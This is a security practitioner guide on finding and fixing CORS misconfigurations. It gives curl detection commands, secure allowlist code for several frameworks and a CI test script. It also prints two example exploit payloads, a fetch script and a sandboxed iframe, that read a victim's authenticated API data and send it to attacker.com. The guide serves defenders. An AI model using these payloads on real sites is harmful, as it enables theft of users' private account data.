PRACTITIONER GUIDE | APPLICATION SECURITY
Practitioner GuideUpdated 12 min read

CORS Misconfiguration Detection and Fix: How to Find and Remediate Cross-Origin Policy Failures Before They Enable Credential Theft

Top 5
CORS misconfiguration appears in the top 5 most commonly found API security vulnerabilities in penetration assessments
Credential theft
is the primary impact: an authenticated user's session cookies are sent to a malicious origin via a CORS-permitted cross-origin request
null
origin value is whitelisted in approximately 16% of applications with CORS policies, creating a sandbox iframe bypass

SponsoredRetool

Retool's new app builder is where AI-generated code ships safely

Building apps with AI is easy. Getting them to production safely is another story.

Start building for free today

CORS misconfigurations are particularly dangerous because they require no interaction beyond the victim loading a page. No XSS. No social engineering beyond getting someone to click a link. If your API reflects the Origin header back in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true, any attacker with a domain can host a page that silently reads your authenticated API responses for every visitor who is logged into your application. This guide covers the three most common CORS misconfiguration patterns, how to detect them, and how to fix the server-side header configuration.

How CORS Works and Why Misconfigurations Matter

The same-origin policy (SOP) is a browser security mechanism that prevents scripts on one origin (domain, protocol, port) from reading responses from a different origin. CORS is the mechanism that allows servers to selectively relax the SOP for specific trusted origins.

When a browser makes a cross-origin request from https://attacker.com to https://api.victim.com/user/profile, the browser includes an Origin: https://attacker.com header. The server responds with Access-Control-Allow-Origin: https://attacker.com (or not). If the response includes the attacker's origin in the ACAO header AND Access-Control-Allow-Credentials: true, the browser allows the attacker's page script to read the response body, including any sensitive data.

The key point: the browser enforces CORS on behalf of the user. The server must correctly declare which origins it trusts. A server that trusts all origins, or that dynamically trusts whatever origin is in the request, has effectively disabled the same-origin protection.

CORS misconfigurations do not affect non-credentialed requests (no cookies, no Authorization header). The attack requires that the victim be authenticated to the target application and that their browser sends the session cookie with the cross-origin request. This is why Access-Control-Allow-Credentials: true in combination with a misconfigured ACAO header is the critical combination.

Pattern 1: Reflective Origin Misconfiguration

The most common and most severe CORS misconfiguration. The server reads the Origin header from the request and reflects it directly into the Access-Control-Allow-Origin response header:

Request:  Origin: https://attacker.com
Response: Access-Control-Allow-Origin: https://attacker.com
          Access-Control-Allow-Credentials: true

This is functionally equivalent to Access-Control-Allow-Origin: * combined with credentials, except that browsers permit * only when credentials are NOT sent (the spec prohibits * + credentials). The reflective pattern bypasses this spec restriction.

The exploitation is simple. An attacker hosts a page at https://attacker.com/steal:

fetch('https://api.victim.com/user/profile', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(data)))
});

Any authenticated victim who visits https://attacker.com/steal has their profile data (and any other API data accessible with their session) exfiltrated.

To detect the reflective pattern:

curl -H "Origin: https://attacker.com" \
     -H "Cookie: session=your_valid_session" \
     https://api.target.com/api/me -v 2>&1 | grep -i "access-control"

If the response includes Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true, the application is vulnerable.

Free daily briefing

Briefings like this, every morning before 9am.

Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.

Pattern 2: Null Origin Bypass

Some applications whitelist the null origin value in their CORS policy, intending to support file:// protocol requests or specific browser contexts. The null origin can be triggered from a sandboxed iframe:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src="data:text/html,<script>
fetch('https://api.victim.com/user/profile', { credentials: 'include' })
.then(r => r.json())
.then(d => top.location='https://attacker.com/collect?d='+encodeURIComponent(JSON.stringify(d)))
</script>">
</iframe>

The sandbox attribute causes the iframe's origin to be null. If the API responds to Origin: null with Access-Control-Allow-Origin: null, the request succeeds and the script can read the response.

Detect the null origin:

curl -H "Origin: null" \
     -H "Cookie: session=your_valid_session" \
     https://api.target.com/api/me -v 2>&1 | grep -i "access-control"

Fix: Never whitelist null as an allowed origin. If your application needs to support local file access for testing purposes, document and restrict that to development environments only.

Pattern 3: Subdomain and Regex Bypass

Some applications implement CORS allowlists using string matching that can be tricked by attacker-controlled subdomains or lookalike domains.

Prefix matching without anchoring: If the CORS check is origin.startsWith('https://victim.com'), an attacker registers victim.com.attacker.com or a domain starting with the victim string.

Suffix matching without anchoring: If the CORS check is origin.endsWith('victim.com'), an attacker registers evilVictim.com (contains victim.com as a suffix after manipulating the check).

Regex without anchoring or escaping: If the check is origin.match('victim.com') (without anchors and without escaping the dot), victimXcom.attacker.com or victimXcom would match because . in regex matches any character.

Subdomain XSS to CORS escalation: If the CORS policy trusts all subdomains (*.victim.com) and a subdomain has an XSS vulnerability, an attacker can use the XSS on the subdomain to make credentialed CORS requests to the main API. The subdomain's origin is trusted, the credentials are sent, and the API response is readable from the XSS context.

The secure approach to origin validation:

ALLOWED_ORIGINS = {
    'https://www.victim.com',
    'https://app.victim.com',
    'https://admin.victim.com',
}

def get_cors_origin(request_origin: str) -> str | None:
    # Exact match only -- no prefix, suffix, or regex matching
    if request_origin in ALLOWED_ORIGINS:
        return request_origin
    return None  # Do not return Access-Control-Allow-Origin if origin is not in whitelist

Fixing CORS: Correct Server-Side Header Configuration

The secure CORS configuration pattern for credentialed API endpoints:

  1. Maintain an explicit whitelist of allowed origins
  2. Validate incoming Origin header against the whitelist using exact string matching
  3. If the origin matches, echo it back in the response header
  4. If the origin does not match, do NOT return Access-Control-Allow-Origin at all (not even null or *)
  5. Set Vary: Origin so that caches do not serve the CORS response for one origin to a different origin

Express.js (Node.js):

const ALLOWED_ORIGINS = new Set([
  'https://www.yourapp.com',
  'https://app.yourapp.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    return res.sendStatus(204);
  }
  next();
});

Django (Python):

# settings.py
CORS_ALLOWED_ORIGINS = [
    'https://www.yourapp.com',
    'https://app.yourapp.com',
]
CORS_ALLOW_CREDENTIALS = True
# Do NOT use CORS_ALLOW_ALL_ORIGINS = True with credentials

Spring Boot (Java):

@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            .allowedOrigins("https://www.yourapp.com", "https://app.yourapp.com")
            .allowCredentials(true)
            .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
            .allowedHeaders("Content-Type", "Authorization")
            .maxAge(86400);
    }
}

For public APIs that serve non-credentialed data, Access-Control-Allow-Origin: * is safe. Only use the allowlist pattern when Access-Control-Allow-Credentials: true is required.

Building a CORS Test Suite for CI/CD

Add CORS checks to your CI/CD pipeline so misconfigurations are caught before deployment. A minimal test suite:

#!/bin/bash
# cors_test.sh -- run against staging before deployment
API_URL="https://staging-api.yourapp.com/api/user"
SESSION_COOKIE="session=test_session_value"

# Test 1: Legitimate origin -- should return ACAO with that origin
LEGIT_RESPONSE=$(curl -s -I -H "Origin: https://www.yourapp.com" \
    -H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$LEGIT_RESPONSE" | grep -q "Access-Control-Allow-Origin: https://www.yourapp.com"; then
    echo "PASS: Legitimate origin accepted"
else
    echo "FAIL: Legitimate origin not accepted -- check CORS whitelist"
fi

# Test 2: Attacker origin -- should NOT return ACAO
ATTACK_RESPONSE=$(curl -s -I -H "Origin: https://attacker.com" \
    -H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$ATTACK_RESPONSE" | grep -q "Access-Control-Allow-Origin: https://attacker.com"; then
    echo "FAIL: Reflective CORS vulnerability detected -- attacker origin accepted"
elif echo "$ATTACK_RESPONSE" | grep -q "Access-Control-Allow-Origin: \*"; then
    echo "FAIL: Wildcard CORS with credentials -- check configuration"
else
    echo "PASS: Attacker origin rejected"
fi

# Test 3: Null origin -- should NOT return ACAO: null
NULL_RESPONSE=$(curl -s -I -H "Origin: null" \
    -H "Cookie: $SESSION_COOKIE" "$API_URL")
if echo "$NULL_RESPONSE" | grep -q "Access-Control-Allow-Origin: null"; then
    echo "FAIL: null origin accepted -- sandbox iframe bypass possible"
else
    echo "PASS: null origin rejected"
fi

Integrate this into the deployment pipeline. A failed CORS test blocks deployment to production.

The bottom line

CORS misconfigurations are silent credential theft vectors. Fix the reflective origin pattern by replacing dynamic origin reflection with an explicit allowlist and exact string matching. Never whitelist the null origin. Add Vary: Origin to all CORS responses to prevent cache poisoning. Include automated CORS tests in your CI/CD pipeline to catch regressions before they reach production. The same-origin policy is the browser's most important security mechanism -- do not accidentally disable it.

Frequently asked questions

Does CORS misconfiguration affect APIs that use tokens in the Authorization header instead of cookies?

For APIs that authenticate using Bearer tokens in the Authorization header rather than cookies, CORS misconfiguration is less severe but not harmless. The browser does not automatically attach the Authorization header to cross-origin requests (unlike cookies), so the attacker cannot read protected data without the victim's token. However, if the victim's JavaScript application stores the token in localStorage and a CORS misconfiguration allows the attacker's origin, XSS on the victim's domain could still escalate to token theft via cross-origin requests. Cookie-based authentication combined with CORS misconfiguration is the most immediately exploitable pattern.

Is Access-Control-Allow-Origin: * ever safe?

Yes, for truly public APIs that serve non-sensitive data and do not use credentialed requests (no cookies, no Authorization header). A public CDN serving static assets, a public weather API, or a publicly readable documentation API can safely use `Access-Control-Allow-Origin: *`. The rule is: never combine `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true`. The browser actually enforces this and will reject the credentialed request even if the server sends both headers, but the underlying misconfiguration creates maintenance risk as the code evolves.

How do CORS misconfigurations interact with SameSite cookie protection?

SameSite=Strict or SameSite=Lax on the session cookie prevents the browser from sending that cookie on cross-origin requests, which is a significant mitigating control. A CORS reflective origin vulnerability on an API whose session cookie is SameSite=Strict cannot be exploited for credential theft because the browser will not attach the cookie to the attacker's cross-origin fetch. However, SameSite=None (required for cross-site cookie use cases like OAuth flows and embedded widgets) removes this protection. Fix both the CORS configuration and the cookie SameSite attribute to provide defense in depth.

How do you test for CORS misconfigurations during a penetration test?

Systematically test: (1) attacker.com origin against authenticated endpoints, (2) null origin, (3) subdomain variations (yourapp.com.attacker.com, evilYourapp.com), (4) HTTP variant if HTTPS origin is allowed (http://yourapp.com), (5) port variation (yourapp.com:8080). For each test, send a credentialed request (with a valid session cookie) and check whether the response ACAO header reflects the test origin AND whether Access-Control-Allow-Credentials is true. Both conditions must be present for exploitability. Burp Suite Pro includes CORS scanning, and jwt_tool/corsy automate the common test cases.

Does a Content Security Policy (CSP) help prevent CORS exploitation?

CSP and CORS are separate mechanisms that protect against different attack scenarios. CORS controls which origins can make credentialed cross-origin requests to your API. CSP controls which scripts can execute on your page and which origins your page can load resources from. A strict CSP does not prevent a CORS exploit where an attacker's page (outside your CSP scope) directly fetches your API. However, CSP's connect-src directive does prevent compromised scripts on your own page from exfiltrating data to attacker-controlled servers. For CORS exploitation prevention, fix the CORS policy itself. Use CSP as a complementary defense against XSS-based attacks on the same-origin content.

How do I test CORS configuration in a staging environment before deploying to production?

Use curl with explicit Origin headers to validate all CORS response paths: curl -H 'Origin: https://trusted.example.com' -I https://api.yourdomain.com/endpoint to verify the allowed origin receives Access-Control-Allow-Origin, and curl -H 'Origin: https://attacker.com' -I https://api.yourdomain.com/endpoint to verify untrusted origins receive no CORS header (not a wildcard or reflected origin). For preflight testing: curl -X OPTIONS -H 'Origin: https://trusted.example.com' -H 'Access-Control-Request-Method: POST' -H 'Access-Control-Request-Headers: Authorization' -I https://api.yourdomain.com/endpoint. Verify the response does not include Access-Control-Allow-Credentials: true unless you have explicitly designed for credentialed cross-origin requests and your allowed origin list is a strict allowlist, not a wildcard.

Sources & references

  1. PortSwigger: CORS (Cross-origin resource sharing) issues
  2. OWASP: CORS Misconfiguration
  3. W3C: Cross-Origin Resource Sharing specification
  4. MDN Web Docs: Cross-Origin Resource Sharing (CORS)

Free resources

25
Free download

Critical CVE Reference Card 2025–2026

25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.

No spam. Unsubscribe anytime.

Free download

Ransomware Incident Response Playbook

Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.

No spam. Unsubscribe anytime.

Free newsletter

Get threat intel before your inbox does.

50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.

Unsubscribe anytime. We never sell your data.

Eric Bang
Author

Founder & Cybersecurity Evangelist, Decryption Digest

Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.

Black Hat Giveaway

Win a $2,495 Black Hat pass.

Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.

Joins Decryption Digest daily briefing. Unsubscribe anytime.

Giveaway: Black Hat USA 2026 Full-Access Pass ($2,495 value)

Details →
Daily Briefing

Subscribe to enter the giveaway

Every subscriber is automatically entered. You also get daily threat intel every morning: zero-days, ransomware, and nation-state campaigns. Free. No spam.

Already subscribed? You're already entered.

Giveaway

Win a $2,495 Black Hat USA 2026 pass.